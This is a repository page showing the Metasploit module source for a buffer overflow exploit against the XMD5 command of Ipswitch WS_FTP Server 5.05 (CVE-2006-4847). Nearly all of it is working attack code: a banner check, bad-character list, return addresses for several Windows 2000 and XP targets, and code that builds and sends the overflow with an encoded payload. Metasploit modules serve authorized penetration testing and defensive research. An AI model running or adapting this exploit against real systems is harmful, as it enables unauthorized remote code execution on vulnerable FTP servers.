Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / ftp / wsftp_server_505_xmd5.rb @ master

History | View | Annotate | Download (1.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Ftp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a buffer overflow in the XMD5 verb in
24
                                IPSWITCH WS_FTP Server 5.05.
25
                        },
26
                        'Author'         => 'MC',
27
                        'License'        => MSF_LICENSE,
28
                        'Version'        => '$Revision$',
29
                        'References'     =>
30
                                [
31
                                        [ 'CVE', '2006-4847' ],
32
                                        [ 'OSVDB', '28939' ],
33
                                        [ 'BID', '20076' ],
34
                                ],
35
                        'Privileged'     => false,
36
                        'Payload'        =>
37
                                {
38
                                        'Space'    => 300,
39
                                        'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
40
                                        'StackAdjustment' => -3500,
41
                                },
42
                        'Platform' => 'win',
43
                        'Targets'        =>
44
                                [
45
                                        [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
46
                                        [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77dc0df0 } ],
47
                                        [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
48

    
49
                                ],
50
                        'DisclosureDate' => 'Sep 14 2006',
51
                        'DefaultTarget' => 0))
52
        end
53

    
54
        def check
55
                connect
56
                disconnect
57
                if (banner =~ /WS_FTP Server 5.0.5/)
58
                        return Exploit::CheckCode::Vulnerable
59
                end
60
                return Exploit::CheckCode::Safe
61
        end
62

    
63
        def exploit
64
                connect_login
65

    
66
                print_status("Trying target #{target.name}...")
67

    
68
                sploit =  rand_text_alphanumeric(676, payload_badchars)
69
                sploit << [target.ret].pack('V') + payload.encoded
70

    
71
                send_cmd( ['XMD5', sploit] , false)
72

    
73
                handler
74
                disconnect
75
        end
76

    
77
end